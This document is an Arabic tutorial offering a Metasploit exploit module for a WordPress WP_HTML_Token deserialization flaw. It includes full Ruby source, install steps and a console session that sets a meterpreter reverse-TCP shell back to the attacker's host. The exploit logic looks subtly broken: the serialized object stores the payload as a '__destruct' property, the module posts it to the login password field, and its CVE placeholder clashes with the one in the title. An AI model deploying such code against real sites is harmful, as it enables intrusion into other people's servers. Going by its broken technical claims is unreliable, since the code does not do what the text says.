
وحدة Metasploit تستغل ثغرة إلغاء تسلسل WordPress (CVE-2024-31211) في WP_HTML_Token لتحقيق تنفيذ الأوامر عن بُعد.
لإنشاء وحدة Metasploit تستغل ثغرة تنفيذ الأوامر عن بعد (RCE) في ووردبريس عبر إلغاء تسلسل مثيلات الفئة WP_HTML_Token، سنركز على صياغة حمولة تؤدي إلى تشغيل ثغرة إلغاء التسلسل، مما يؤدي إلى تنفيذ أكواد عشوائية.
احفظ الكود التالي باسم wordpress_wp_html_token_rce.rb في مسار modules/exploits/multi/http داخل تثبيت Metasploit Framework.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP_HTML_Token Unserialization RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in WordPress via
the unserialization of instances of the `WP_HTML_Token` class. This allows for
code execution via its `__destruct()` magic method.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-XXXX'], # Replace with the correct CVE number
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['WordPress <= 5.x', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
}
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
})
if res && res.code == 200 && res.body.include?('wp-login.php')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending payload to trigger unserialization vulnerability")
serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'
post_data = {
'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
'user_pass' => serialized_payload,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
'testcookie' => 1
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'vars_post' => post_data
})
handler
end
end
حفظ الوحدة:
احفظ الوحدة باسم wordpress_wp_html_token_rce.rb في المسار modules/exploits/multi/http داخل تثبيت Metasploit Framework.
/path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
تشغيل Metasploit:
ابدأ Metasploit Framework بفتح طرفية وتشغيل:
msfconsole
استخدام الوحدة الجديدة:
في وحدة تحكم Metasploit، قم بتحميل وحدة الاستغلال الجديدة باستخدام الأمر التالي:
use exploit/multi/http/wordpress_wp_html_token_rce
التكوين والتشغيل:
قم بتعيين الخيارات الضرورية مثل RHOSTS و RPORT و TARGETURI و PAYLOAD. ثم قم بتشغيل الوحدة.
msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
LHOST => your_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
ترسل وحدة Metasploit هذه حمولة مسلسلة مصممة إلى مثيل ووردبريس ضعيف، محاولةً تشغيل ثغرة إلغاء التسلسل وتحقيق تنفيذ أكواد عشوائي. قم بتعديل الحمولة والوحدة حسب الحاجة بناءً على طبيعة الثغرة المحددة والبيئة المستهدفة.